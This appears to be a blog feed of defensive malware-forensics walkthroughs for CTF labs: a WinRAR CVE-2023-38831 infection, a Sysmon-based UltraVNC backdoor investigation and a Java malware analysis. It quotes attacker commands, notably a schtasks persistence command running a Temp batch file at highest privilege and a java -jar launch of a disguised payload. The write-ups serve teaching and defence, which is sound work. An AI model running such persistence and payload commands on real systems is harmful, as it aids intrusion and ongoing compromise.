https://www.virustotal.com/gui/file/d1a55bb98b750ce9b9d9610a857ddc408331b6ae6834c1cbccca4fd1c50c4fb8

This CVE designation tells us that the file is potentially weaponized to exploit a vulnerability in the WinRAR archive tool. For context, let’s take a look at the National Vulnerability Database entry for this CVE:

RARLAB WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file.

That’s scary! This vulnerability is especially dangerous because the victim thinks they’re opening a harmless archive, but it could be weaponized to execute malicious code instead.

Question 4: In examining the downloaded archive, you noticed a file in with an odd extension indicating it might be malicious. What is the name of this file?

Now that we have a better understanding of the SANS SEC401.rar file, let’s try to open it and see what’s inside. Since we mounted the image using Arsenal’s default settings, we’re in read-only mode — which means we’ll need to copy the file to our analysis file system to extract it.

Full disclosure: when I exported the file from Arsenal, I ran into some errors and couldn’t extract it. If it works for you — great! If not, join me for Plan B: mounting and extracting with FTK Imager.

FTK Imager is another popular forensic tool used to create and read forensic disk images — and it’s also installed on Flare-VM. Once you open FTK, load the image by pressing: File > Add Evidence Item > Image File > Select c125-SpottedInTheWild.vhd > Finish.

FTK Imager: Exporting the malicious RAR file

After it loads, you’ll see a familiar-looking file tree on the left-hand side. Navigate to the C:\Users\Administrator\Downloads\Telegram Desktop directory and expand it. Right-click the SANS SEC401.rar file and select Export Files…

Once it’s copied to your analysis environment, you can use a tool like 7-Zip to extract the contents and reveal the payload within.

Question 5: Uncovering the methods of payload delivery helps in understanding the attack vectors used. What is the URL used by the attacker to download the second stage of the malware?

To answer Question 5, let’s turn our attention to analyzing the SANS SEC401.pdf.cmd file we just accessed from the RAR archive. For this challenge, we’ll start with a simple strings analysis to identify plaintext strings within the file. Maybe we’ll stumble across a clue about the second-stage URL.

There are plenty of ways to approach this, but I’m going to use Detect It Easy (DiE) to parse the file. DiE is another tool preinstalled on Flare-VM, so open it up and point the file name box to the extracted SANS SEC401.pdf.cmd file. Then, tick the Advanced box and press Strings.

Detect It Easy: Loading the malicious .cmd file

While much of the output is obfuscated, we’ll get a few clues toward the bottom in the form of readable strings that can help inform the next steps of our analysis.

Detect It Easy: Analyzing the strings

For example, on line 308, we can see most of a URL — exactly what we need to answer Question 5.

Detect It Easy: Identifying a URL in the strings

Since the protocol (like HTTP or HTTPS) is obfuscated, let’s pivot to dynamic analysis in our safe sandbox environment.

For this dynamic component, we’ll actually execute the .cmd file and observe its behavior.

CMD: Executing the malware in the sandbox

Notice the error? That result makes sense since there’s no Internet connection in the sandbox. Importantly though, we can now see the URL more clearly than we could with the strings view. The second stage is attempting to download an image named amanwhogetsnorest.jpg.

Question 6: To further understand how attackers cover their tracks, identify the script they used to tamper with the event logs. What is the script name?

Okay, the next stop on our investigation is to identify the script used to tamper with the Windows Event Logs to evade detection. Let’s jump back to the DiE strings view.

At the very bottom of the output window (lines 341€“342), we’ll spot a potential clue: a file named Eventlogs.ps1 located in the \Windows\Temp directory. Let’s follow this thread and see if we can determine what this script does.

Detect It Easy: Identifying a potential log clearing script

Next, let’s head back into MFTExplorer and try to locate the file in the directory we found with DiE.

MFTExplorer: Confirming script location in the MFT

Bingo! Unfortunately, the image data doesn’t exist, so we can’t simply export the file. While we can gain some insight into the script’s function, it looks a bit daunting to decode statically — so let’s try something else.

I know we’re bouncing around between tools but bear with me. Rather than continue with the GUI tool MFTExplorer, we’re going to pivot to another pair of Eric Zimmerman’s tools: MFTECmd and Timeline Explorer.

The plan is to parse the NTFS USN Journal file. The quick version: this file has a special data stream ($J) that contains a record of all file and filename creations, modifications, and deletions. This gives us a detailed timeline of file activity. We’ll use MFTECmd to parse the Journal file and export the results to .CSV, which we can then analyze with Timeline Explorer to understand the lifecycle of Eventlogs.ps1.

Let’s put this into practice:

Export the $J file from either Arsenal or FTK Imager from the victim image’s C:\ folder.
Open PowerShell as an administrator and run the following command:

MFTECmd.exe -f ‘<path to $J>’ –csv “<path to CSV output”

PowerShell: Executing MFTEcmd.exe

Open the resulting file with Timeline Explorer. For this challenge, we’ll keep it simple and enter eventlogs.ps1 into the Name column. This will show all records with that filename, and we can refer to the Update Reasons column to understand when the file was created and deleted.

Now we know the file exists and is part of the malware — but if we can’t analyze it directly, what else can we do to confirm it tampered with the event logs?

Luckily for us, Microsoft audits event log clearing in the Security event log as Event ID 1102 — “The audit log was cleared.”1102(S) The audit log was cleared. — Windows 10 _Though you shouldn’t normally see it, this event generates every time Windows Security audit log is cleared. This is…_learn.microsoft.com

Though you shouldn’t normally see it, this event is generated every time the Windows Security audit log is cleared.

We can open the relevant Security.evtx log from the victim’s device in the C:\Windows\System32\winevt\Logs directory.

The location of the Security.evtx logs

Once the log is opened in Event Viewer, filter for the 1102 events by pressing Filter Current Log and entering 1102 in the search field.

Event Viewer: Filtering for 1102 events

This gives us one event confirming that the Windows Event Logs were cleared — but the real indictment is that the event timestamp matches what we found with Timeline Explorer.

Event Viewer: Identifying a log clear event

Question 7: Knowing when unauthorized actions happened helps in understanding the attack. What is the UTC timestamp for when the script that tampered with event logs was run?

Based on the evidence we found in Question 6, we already have two solid datapoints indicating when the eventlogs.ps1 script was run — one from Timeline Explorer and another from the Security event log (Event ID 1102). But just for fun, let’s triple-confirm this by checking the PowerShell logs.

Navigate back to the mounted C\Windows\System32\winevt\Logs directory and load up the Windows PowerShell.evtx log this time.

The location of the Windows PowerShell.evtx logs

Instead of filtering for an event ID, we’ll use the Find… function to search the log for eventlogs.ps1.

Event Viewer: Identifying Eventlogs.ps1 activity

This search surfaces the corresponding event within the PowerShell logs, showing that the script was executed at the same time we correlated the logs being cleared and the file being deleted.

Since the results from MFTECmd were already in UTC, we don’t even need to perform a conversion.

So, while we couldn’t see the script contents directly, we can infer its impact through correlation — and now we’ve got three independent sources confirming the timestamp of execution.

Question 8: We need to identify if the attacker maintained access to the machine. What is the command used by the attacker for persistence?

We’re closing in on the end of our investigation. Let’s jump back into DiE and review the strings for further clues. Down on line 335, we’ll find evidence of a suspicious task in the Tasks directory: _\Windows\System32\Tasks\whoisthebaba_

Detect It Easy: Identifying a suspicious scheduled task in strings

We’re off to a solid start, but let’s correlate this with the victim image using MFTExplorer to see if this file existed on the system by navigating to the folder within the mounted image.

MFTExplorer: Identifying the scheduled task artifact in the victim image

Great — we found it! Unfortunately, we can’t extract the file, and there’s no evidence in the registry or Security Event Log to determine what this task actually does.

Time to get creative.

Since my environment doesn’t have Internet access, the next-stage payloads can’t be downloaded, so dynamic analysis locally won’t help much. Instead, let’s pivot to another external threat analysis service. This time, instead of VirusTotal, we’ll use something more visual: Any.Run.

In your browser, navigate to Any.Run and locate the report search. In the upper-right search box, submit the hash of SANS SEC401.pdf.cmd, which we can collect from FTK Imager or PowerShell (as we did in Question 3):

5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D

The search will return several reports where the platform has analyzed this file. For this walkthrough, select the report from 09 August 2025, labeled Malicious Activity.

Any.Run: Searching public submissions

Once inside, we can use the visual replay window to watch the execution of the file, just as we would have seen in our own sandbox. This is an extremely robust capability offered by Any.Run that helps visualize the dynamic analysis process.

But for Question 8, we’re most interested in the command used to create the scheduled task. We can identify this in the Command Prompt window during execution. On the right side, we’ll also see it listed in the process tree:

https://app.any.run/tasks/69a81081-12f1-4fde-bd29-596d67b44cfb

schtasks /create /sc minute /mo 3 /tn “whoisthebaba” /tr C:\Windows\Temp\run.bat /RL HIGHEST

This command creates a scheduled task named whoisthebaba that runs every 3 minutes with the highest privilege level, executing run.bat from the Temp directory.

So, while we didn’t uncover this in our own environment, this shows the value of leveraging public sandboxes for dynamic analysis to overcome local limitations to ultimately find the answer.

Question 9: To understand the attacker’s data exfiltration strategy, we need to locate where they stored their harvested data. What is the full path of the file storing the data collected by one of the attacker’s tools in preparation for data exfiltration?

We’ve made it to the final question — and now we need to determine what data the malware collected and how it was staged for exfiltration.

We’ve already identified another script set to run with the scheduled task we found in Question 8: C:\Windows\Temp\run.bat

You may have already noticed that we previously found a reference to this script during the strings analysis using DiE.

Detect It Easy: Confirming the run.bat string

Fortunately, we can return to FTK Imager and extract this file from the VHD by navigating to the C:\Windows\Temp directory, right-clicking run.bat, and selecting Export Files…

There’s something curious at the bottom of the data window — we also see a reference to run.ps1. Let’s export that file too and drop it into the exported artifacts directory of our analysis environment.

FTK Imager: Discovering run.ps1 reference in run.bat

Since run.bat references run.ps1, we’ll jump straight into analyzing the .ps1 file first. And because my sandbox is isolated and has no internet access, there’s little danger in executing run.ps1 locally.

Before executing, we’ll monitor the activity with another built-in tool from Flare-VM: Sysinternals Process Monitor (ProcMon). Open ProcMon and set the filter to: Process Name is powershell.exe.

ProcMon: Filtering the powershell.exe process

This narrows our focus to only PowerShell events, which helps us better understand what the script is doing. Since we’re looking for the full path of the file storing the data collected, we’ll start by searching for CreateFile events.

ProcMon: Discovering CreateFile events

By doing this, we’ll see that PowerShell creates a file named BL4356.txt in the analysis environment. Simultaneously, the PowerShell window appears to be listing dozens of IP addresses as offline…

PowerShell: Output of the run.ps1 script

Let’s confirm whether this BL4356.txt artifact also exists in the victim image using FTK Imager or Arsenal.

FTK Imager: Confirming activity in the victim image

Bingo! This confirms the same behavior in both environments. Between the PowerShell output and the contents of the file, it’s clear that the script is performing host discovery and saving the results.

Let’s take it a step further and analyze the contents of run.ps1 directly. For this, we’ll use CyberChef, since I suspect there’s some obfuscation involved.

With CyberChef open, click Open as File in the upper-right to load the script into the input window. As expected, there’s a blob of base64-encoded strings, but decoding it isn’t quite so straightforward. Notice the reverse operation? The script appears to convert $best64code into an array, then reverse it back into a string.

CyberChef: Analyzing the run.ps1 script

To decode it, copy the $best64code into a new CyberChef tab, then add the Reverse and From Base64 operations to your recipe — and voilÃ !

CyberChef: Decoding the run.ps1 script

We can confirm that this script performs a host discovery scan and saves the results into the following path: $env:UserProfile\AppData\Local\Temp\BL4356.txt.

We now just need to substitute the victim’s actual UserProfile path to construct the full answer.

Conclusion:

Whew! That was a tough one — but that wraps up our investigation of the SpottedInTheWild challenge! We walked through each phase of the attack, from identifying the initial malicious archive downloaded via Telegram, to uncovering the use of a WinRAR vulnerability, tracking persistence through scheduled tasks, and finally discovering how the attacker staged data for exfiltration.

A big thank you to CyberDefenders for putting together such a fun and challenging lab! There was some stumbling along the way, but this one really pushed me to think creatively and combine the strengths of static and dynamic analysis. It also highlighted how public tools like Any.Run, VirusTotal, and CyberChef can help fill in the gaps when your own environment has limitations.

I initially chose this challenge to learn more about Arsenal Image Mounter, since it was new to me — but it ended up becoming a much more sprawling example of how defenders can pivot between forensic artifacts like the $MFT, USN Journal, and event logs to reconstruct attacker behavior. Whether it was filtering for CreateFile events in ProcMon, decoding obfuscated PowerShell in CyberChef, or correlating timestamps across tools, every step helped us build a clearer picture of the compromise. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in&origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F

Flare-VM: https://github.com/mandiant/flare-vm

Arsenal Recon — Arsenal Image Mounter: https://arsenalrecon.com/

**Magnet Forensics — " # "

Harnessing MFT parsing for incident response investigations” :** https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/

VirusTotal — SANS SEC401.rar: https://www.virustotal.com/gui/file/d1a55bb98b750ce9b9d9610a857ddc408331b6ae6834c1cbccca4fd1c50c4fb8

NIST NVD — CVE-2023€“38831: https://nvd.nist.gov/vuln/detail/cve-2023-38831

Exterro — FTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager

Detect it Easy: https://github.com/horsicq/Detect-It-Easy

Microsoft Learn — 1102(S): The audit log was cleared: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-1102

Any.Run: https://app.any.run/tasks/69a81081-12f1-4fde-bd29-596d67b44cfb

Sysinternals — Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

CyberChef: https://gchq.github.io/CyberChef/

HackTheBox — Unit42 Sherlock Walkthrough

Sun, 05 Oct 2025 00:00:00 +0000

HackTheBox | Unit42 | Sherlock Walkthrough

Investigating Masquerading Malware Using Sysmon Logs and the Windows Event Viewer.

Image Credit: https://app.hackthebox.com/sherlocks/632

Introduction:

Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the Unit42 Sherlock challenge from Hack The Box, you’re in the right place.

This is the third challenge in the Intro to Blue Team track, but you can jump in in any order. If you’re following along or you’re a completionist, check out my write-up of the previous challenge — BFT:

HackTheBox— BFT Sherlock Walkthrough

This challenge leans heavily into endpoint forensics using a real-world inspired narrative. It’s up to us to piece together what happened using only the provided Sysmon logs. We’ll use tools like Windows Event Viewer, VirusTotal, and MITRE ATT&CK to uncover and document the infection chain.

This one’s a great opportunity to explore how attackers might abuse legitimate cloud-based delivery mechanisms to deliver trojanized installers masquerading as legitimate tools.

So, if you’re new to Sysmon or just want to sharpen your log analysis skills, this is a great challenge to put your hands on. Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Scenario:

In this Sherlock, you will familiarize yourself with Sysmon logs and various useful EventIDs for identifying and analyzing malicious activities on a Windows system. Palo Alto’s Unit42 recently conducted research on an UltraVNC campaign, wherein attackers utilized a backdoored version of UltraVNC to maintain access to systems. This lab is inspired by that campaign and guides participants through the initial access stage of the campaign.

Setup the Analysis Environment & Extract the Challenge File:

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: How many Event logs are there with Event ID 11?

Let’s kick off our investigation by extracting the unit42.zip archive. This leaves us with a Windows Event Log file: Microsoft-Windows-Sysmon-Operational.evtx, which we can analyze using Windows Event Viewer. Go ahead and double-click the file to launch Windows Event Viewer.

But first, before we go any further, let’s take a step back and get a quick refresher on what Sysmon is and what’s contained in its event logs.

If you haven’t heard of it before, Sysmon is a utility that’s part of the Microsoft Sysinternals Suite. It runs as a system service and monitors detailed system activity like process creation, file creation, and network connections, and logs it to the Windows Event Log. Sysmon also has its own event types that can be used to filter specific activity in the logs, which is exactly what we’ll do in this challenge.

Let’s jump back to Event Viewer and make sure we’re looking at the Microsoft-Windows-Sysmon-Operational logs under Saved Logs.

To answer Question 1, we’re looking for only Event ID 11 (FileCreate), so we need to filter the log to accurately count these events. We can do this by clicking Filter Current Log… on the right-hand column and entering 11 in the Event ID box.

Windows Event Viewer: Filtering Sysmon Event ID 11

Once the filter is applied, we can see the number of events in the filtered log above the entries:

Windows Event Viewer: Identifying the number of filtered events

This result tells us that there are 56 file creation events captured by Sysmon on the victim system.

Question 2: Whenever a process is created in memory, an event with Event ID 1 is recorded with details such as command line, hashes, process path, parent process path, etc. This information is very useful for an analyst because it allows us to see all programs executed on a system, which means we can spot any malicious processes being executed. What is the malicious process that infected the victim’s system?

For our next task, we need to determine which malicious process infected the victim’s system. To do this, we’ll filter the Sysmon logs again, this time searching for Event ID 1.

According to the Sysmon documentation, Event ID 1 details process creation events and “provides extended information about a newly created process. The full command line provides context on the process execution.”

Once we’ve filtered the process creation events, we can start analyzing them. For readability, I’ve switched to the Details tab instead of the default General tab.

Starting with the earliest events first, the second entry reveals something suspicious — an unusual executable, Preventivo24.02.14.exe.exe, located in the victim’s Downloads folder. Of all the events, this one stands out as the most likely culprit with the available data.

Windows Event Viewer: Identifying the malicious process with Sysmon Event ID 1

But we don’t have to guess! Sysmon also handily provides the file hash values under the Hashes field. We can use these hashes to pivot out to an external threat intelligence service like VirusTotal to check if this exact binary has been analyzed before and make a more informed decision.

https://www.virustotal.com/gui/file/0cb44c4f8273750fa40497fca81e850f73927e70b13c8f80cdcfee9d1478e6f3

We can see right away that this file hash is detected as malicious by most of the platforms, and there’s a ton of great information about what this executable does. Let’s proceed with our investigation and see what we can gather just by looking at the provided Sysmon logs, shall we?

Question 3: Which Cloud drive was used to distribute the malware?

Our next order of business is to determine which cloud storage drive the malicious executable was downloaded from. For this, we can identify the Referrer URL in the Zone.Identifier metadata of the file. This is part of the Mark of the Web metadata stream and can help us analysts identify the source of a file.

We can uncover this information by filtering the event log for Event ID 15. This event label is FileCreateStreamHash, and while it sounds complicated, the Sysmon documentation clarifies:

This event logs when a named file stream is created, and it generates events that log the hash of the contents of the file to which the stream is assigned (the unnamed stream), as well as the contents of the named stream. There are malware variants that drop their executables or configuration settings via browser downloads, and this event is aimed at capturing that based on the browser attaching a Zone.Identifier “mark of the web” stream.

Putting all this together, filtering for Event ID 15 returns two results. The one at the top contains the Mark of the Web stream information for the malicious binary we identified in the previous question.

Windows Event Viewer: Identifying the referrer URL using Sysmon Event ID 15

This entry shows the Zone.Identifier metadata, including the ReferrerUrl which points to Dropbox, a common and very popular cloud storage solution, as the source of malware download.

Question 4: For many of the files it wrote to disk, the initial malicious file used a defense evasion technique called Time Stomping, where the file creation date is changed to make it appear older and blend in with other files. What was the timestamp changed to for the PDF file?

Next up, to answer Question 4, we’ll need to identify a PDF file related to the attack and then determine what the manipulated timestamp of the file is.

The first step is to filter the Sysmon logs for Event ID 2: A process changed a file creation time. This event ID is helpful for detecting timestomp activity on a victim system. According to the Sysmon documentation:

The change file creation time event is registered when a file creation time is explicitly modified by a process. This event helps tracking the real creation time of a file. Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.

Once we’ve applied the filter, we can use Windows Event Viewer’s built-in Find function and search for the keyword pdf to quickly pinpoint the event we’re seeking.

Windows Event Viewer: Identifying timestomp events using Sysmon Event ID 2

Take a look under the file path for ~.pdf — we can see two different timestamps, which confirms that the file was manipulated using a timestomp technique (MITRE ATT&CK T1070.006). We’re looking for the older, original timestamp to answer the question.

Question 5: The malicious file dropped a few files on disk. Where was “once.cmd” created on disk? Please answer with the full path along with the filename.

Moving on to Question 5, we need to figure out the file path of another related file: once.cmd.

The key phrase in the question is “dropped a few files on disk”, which tells us we’ll need to filter for Event ID 11 (FileCreate) again. Once we’ve applied the filter, we can use the Find function to search for the file in question — once.cmd.

Windows Event Viewer: Identifying dropped file path event using Sysmon Event ID 11

Once we’ve located the event, we’ll learn the full file path of the dropped file.

Question 6: The malicious file attempted to reach a dummy domain, most likely to check the internet connection status. What domain name did it try to connect to?

Now’s the time to start moving away from file-related events and pivot to network events within the Sysmon log. To answer Question 6, filter for Event ID 22: DNSEvent (DNS query) events to identify DNS lookups to external domains.

This event is generated when a process executes a DNS query, whether the result is successful or fails, cached or not. The telemetry for this event was added for Windows 8.1 so it is not available on Windows 7 and earlier.

Windows Event Viewer: Identifying DNS connection check event using Sysmon Event ID 22

Applying this filter returns three events, with the top event revealing a DNS lookup to a specific domain — this is the one we’re after, and it seems to be used as an internet connection check.

Question 7: Which IP address did the malicious process try to reach out to?

To answer Question 7 and continue our analysis of network-related artifacts in the Sysmon log, we’ll now need to determine the IP address that the malicious process reached out to.

For this, we’ll filter the Sysmon log for Event ID 3: Network connection. According to the Sysmon documentation:

The network connection event logs TCP/UDP connections on the machine. It is disabled by default. Each connection is linked to a process through the ProcessId and ProcessGuid fields. The event also contains the source and destination host names IP addresses, port numbers and IPv6 status.

Applying this filter yields one result. For ease of viewing, I’ve selected the Details tab. Scroll down to the DestinationIp field to find the remote IP that the malware connects to.

Windows Event Viewer: Identifying C2 IP using Sysmon Event ID 3

Question 8: The malicious process terminated itself after infecting the PC with a backdoored variant of UltraVNC. When did the process terminate itself?

For our final question, we just need to figure out when the malicious process Preventivo24.02.14.exe.exe terminated.

We can discover this information easily by filtering for Event ID 5: Process terminated events.

The process terminate event reports when a process terminates. It provides the UtcTime, ProcessGuid and ProcessId of the process.

This will return a single event, and we can grab the termination timestamp from the event details.

Windows Event Viewer: Identifying malware process termination using Sysmon Event ID 5

So, What Happened Here? Bringing it All Together and Contextualizing the Infection Chain

Before we jump down to the conclusion, let’s take a step back and look at the LinkedIn post by Palo Alto’s Unit 42 that inspired this challenge. If you’re like me, a visual reference that brings all the questions together can help you fully understand what happened, and what the artifacts we discovered actually mean.

#ultravnc #timelythreatintel #indicatorsofcompromise #unit42threatintel #wireshark… _2024-01-23 (Tuesday): #UltraVNC infection generated by EXE from Dropbox URL. Dropbox URL now offline! IOCs from an…_www.linkedin.com

Image Credit: https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/

Does this sound kind of familiar?

If we look at the visual for the infection chain, we’ll see a malicious executable downloaded from Dropbox — just like we identified in Questions 2 & 3. Then we see a decoy PDF file, which lines up with Question 4. This context gives us insight into the attack flow and reinforces how each artifact we uncovered fits into a broader narrative.

I strongly encourage you to check out the Palo Alto post, explore the research, and see what other conclusions you might draw compared to the challenge. It’s a great way to validate your analysis and expand your understanding of how threat intelligence connects to hands-on investigations.

Conclusion:

That wraps up our investigation of the Unit42 challenge! We’ve walked through each step of the infection chain: from identifying the initial malicious executable downloaded from Dropbox, to uncovering timestomping activity, DNS queries, and IP connections — all using nothing more than Sysmon logs and a bit of threat intelligence.

A big thank you to Hack The Box for another high-quality and fun Sherlock — it’s been a blast going through this track.

I chose this week’s challenge as a great example of how Sysmon bolsters forensic capabilities by collecting and contextualizing meaningful endpoint logs. With these logs, we were able to breeze through analysis, focusing on targeted events to tell a compelling story. Whether it’s filtering for specific event IDs, pivoting to external threat intel platforms like VirusTotal, or recognizing subtle evasion techniques like timestomping, every artifact adds a piece to the puzzle. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.hackthebox.com/sherlocks/632

Flare-VM: https://github.com/mandiant/flare-vm

Microsoft — Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

Microsoft — Sysinternals: https://learn.microsoft.com/en-us/sysinternals/

VirusTotal — Preventivo24.02.14.exe.exe: https://www.virustotal.com/gui/file/0cb44c4f8273750fa40497fca81e850f73927e70b13c8f80cdcfee9d1478e6f3

MITRE ATT&CK — Indicator Removal: Timestomp (T1070.006): https://attack.mitre.org/techniques/T1070/006/

LinkedIn — Palo Alto Networks Unit 42: https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/

LetsDefend — Samba Spy Challenge Walkthrough

Sun, 21 Sep 2025 00:00:00 +0000

LetsDefend — Samba Spy Challenge Walkthrough

Investigating a Malicious JAR File Using Java Decompiler, VirusTotal & MITRE ATT&CK.

Image Credit: https://app.letsdefend.io/challenge/samba-spy

Introduction:

Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while looking for a comprehensive guide the Samba Spy challenge from LetsDefend, you’re in the right place. This challenge is a great opportunity to explore how adversaries use Java-based payloads, obfuscation, and anti-analysis techniques to evade detection.

Challenge Scenario:

Your organization has discovered an infection on one of its systems involving a malicious Java application. This malware performs environment checks to ensure it is not running inside a virtual machine and targets systems with specific configurations. Once the required conditions are met, it extracts files and executes malicious components that could compromise sensitive data or system integrity. The stealthy nature of the malware and its ability to evade detection pose a serious threat, requiring immediate action to secure the network and prevent further compromise.

Uh-oh! That doesn’t sound good. It’s up to us to spring into action in our LetsDefend virtual machine, reverse engineer and investigate its behavior, and prevent any further damage.

This one’s a bit different from the usual endpoint or network forensics challenges. We’ll be stepping into the world of static analysis with a sprinkle of reverse engineering, using tools like JD-GUI, VirusTotal, MITRE ATT&CK, and good old-fashioned logic to uncover what this malware is up to.

If you’re new to Java malware or just want to sharpen your analysis skills, this is a great challenge to stumble into. Let’s dig in and see what this .jar file is hiding.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the name of the method that checks if the program is running inside a virtual machine?

Let’s kick off this investigation by opening the ChallengeFile folder and unzipping challenge.7z using the password provided in the challenge description. This leaves us with the sample we’ll be analyzing: 1.jar.

Unzipping the ChallengeFile

Our first step is to select a tool we can use to decompile the sample and peek into the code. Fortunately, the LetsDefend VM is already loaded with a number of analysis tools, including Java Decompiler (JD). Since reverse engineering isn’t in my usual wheelhouse, the graphical version, JD-GUI, will be perfect for us to use. According to the project’s GitHub page:

JD-GUI is a standalone graphical utility that displays Java source codes of " # "

.class" files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.

Sounds perfect! Let’s give it a try by launching the application from C:\Users\LetsDefend\Desktop\Tools\jd-gui-windows-1.6.6 - Java Decompiler.

Once it’s open, we can load the 1.jar sample file and immediately jump in by expanding JavaApplication1.class > JavaApplication1. This will allow us to check out the methods within the application.

With that in mind, to answer Question 1, select the obviously named isRunningInVM() method on the left and view its contents on the right. We’ll see that this method is checking if the JAR file is executed in a virtual machine. One way it does this is by checking if the operating system name matches known virtualization providers.

Identifying the isRunningInVM() method

Now, there could be a valid reason for it, but the presence of a method checking for virtualization is suspicious. Malware might attempt to evade detection by checking if it’s executed in a virtual environment, potentially operated by one of us defenders, and changing its behavior accordingly. This is an example of the MITRE ATT&CK technique Virtualization/Sandbox Evasion: System Checks (T1497.001).

Question 2: What system language is required for the program to continue execution?

The next thing we’ll need to uncover is what system language is required for the application to continue execution. We can find this in the isSystemLanguageItalian() method.

Identifying the required language for execution

This interesting little tidbit that tells us the malware might be targeting Italian systems only, since it only runs when that language is detected. This could be another example of an evasion tactic or might indicate a targeted attack. Let’s keep going and see what else we can discover about the malware’s capabilities.

Questions 3 & 4:

What is the name of the method responsible for extracting the Prodotto.zip file?

What is the default extraction path for the Prodotto.zip contents?

To answer Question 3, we’re searching for a method used to extract the file Prodotto.zip. We can identify this function within the extractLibs() method, which references the file directly on line 50.

Identifying the .zip extraction method

To answer Question 4, we can identify the defined extraction path for this .zip file by checking line 48, where the DestinationPath variable is defined as C:\Users\Public.

Identifying the default path for .zip file extraction

This is another suspicious behavior that suggests the malware is dropping a second-stage payload. The use of the C:\Users\Public folder is also a red flag. It’s a commonly used directory for malware staging because it acts as a shared location across all user accounts in Windows. In other words, any user on the system can read from and write to this directory, making it a prime location to affect all users on the system.

Questions 5 & 6:

What file name does the program look for after extraction to run as a JAR file?

What command is used to execute the extracted JAR file?

Moving right along, we now need to identify the second-stage JAR file that’s executed by the malware. Let’s check out the main(String[]) method as a first step. Here, we can see another file extracted from the Prodotto.zip archive in the same directory: prodotto.png. This is declared as the jarPath variable.

Identifying the extracted file

This looks promising — but we’re looking for a JAR file, right? Well, this is a little tricky. Take a look at line 32: we can see what appears to be a command executing a JAR file using Runtime.getRuntime().exec() with the jarPath variable. Strange!

Identifying the execution command

Surprise! This appears to be an example of file type masquerading as described by the MITRE ATT&CK technique Masquerade File Type (T1036.008). So, the file is named with a .png extension, but it’s actually a .jar file and is executed using the java -jar command.

While it’s a little out of scope for this challenge, we can confirm this behavior by grabbing the file hash of 1.jar from the LetsDefend VM and pivoting to VirusTotal. From there, we can check the Relations tab for Prodotto.zip > prodotto.png to confirm that the magic byte indicates it’s indeed a .jar file.

If you’d like to try it out, you can use the Get-FileHash command in the VM to calculate the hash of 1.jar, but I’ve included it below for convenience:

49BBFAC69CA7633414172EC07E996D0DABD3F7811F134EECAFE89ACB8D55B93A

VirusTotal: Details of Prodotto.png

Ultimately, we can confirm the answer to Question 5 is correct: prodotto.png is indeed a .jar file. And for Question 6, the command used to execute it is:

java -jar C:\Users\Public\Prodotto.png

Question 7: What process is used to check if the system is running in a virtual machine (besides the manufacturer string)?

Remember back in Question 1, where we identified the isRunningInVM() method that the malware uses to check if it’s running in a virtual machine? While we identified the method, we didn’t really dig into how that check occurs.

From what we can tell, there are a couple of ways the malware does this. One method is by listing the system manufacturer string using System.getProperty("os.name"), and then comparing it to a list of known virtualization providers (like VMware, Oracle, etc.).

But this would only return the name of the operating system, like Windows 11, macOS, Linux, etc. So, we’re looking for a different method, which we’ll find on line 96:

wmic baseboard get manufacturer

Identifying baseboard manufacturer enumeration

Using this WMI command in Windows will return the motherboard manufacturer, which the malware compares to a list of vmIndicators as mentioned above. The idea is that if the execution environment is a VM, it would be reflected in the baseboard manufacturer string which is pretty clever.

Question 8: How many virtual machine vendors does the program check for?

Now onto the final question! To answer Question 8, we simply need to look at the list of vmIndicators we talked about in the previous question. If we expand the row on line 80, we’ll see the four VM providers the malware checks for — nice job!

Identifying the VM providers

Conclusion:

How fun was that! A big thank you to LetsDefend for putting together another awesome experience.

This one was a great change of pace from my typical endpoint or network forensics investigation walkthroughs. It gave me a chance to explore how Java-based malware operates, how it uses environmental awareness to evade detection, and how file type masquerading can try to throw us off the trail. Now that we’ve gained a better understanding of how this malware behaves, it’s time to wrap this investigation.

I chose this challenge to keep reverse engineering in the rotation because it’s a weak spot for me. This was a great excuse to try a new tool and go hands-on with Java Decompiler, and it’s now another tool I’ll be keeping in my kit for future malware analysis. The challenge also reinforced how important it is to understand anti-analysis techniques and how adversaries use them to stay hidden. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/samba-spy

Java Decompiler: https://java-decompiler.github.io/

MITRE ATT&CK — Virtualization/Sandbox Evasion: System Checks (T1497.001): https://attack.mitre.org/techniques/T1497/001/

MITRE ATT&CK — Masquerading: Masquerade File Type (T1036.008): https://attack.mitre.org/techniques/T1036/008/

VirusTotal: https://www.virustotal.com/

VirusTotal — Prodotto.png: https://www.virustotal.com/gui/file/9530d49197932cc7f169dae3f953e00dc9cf3625eb74e0e335701d3e3fd8c8d4/details

LetsDefend — Disclose The Agent Challenge Walkthrough

Sun, 14 Sep 2025 00:00:00 +0000

LetsDefend — Disclose The Agent Challenge Walkthrough

Investigating a Suspicious Email Using Wireshark.

https://app.letsdefend.io/challenge/disclose-the-agent

Introduction:

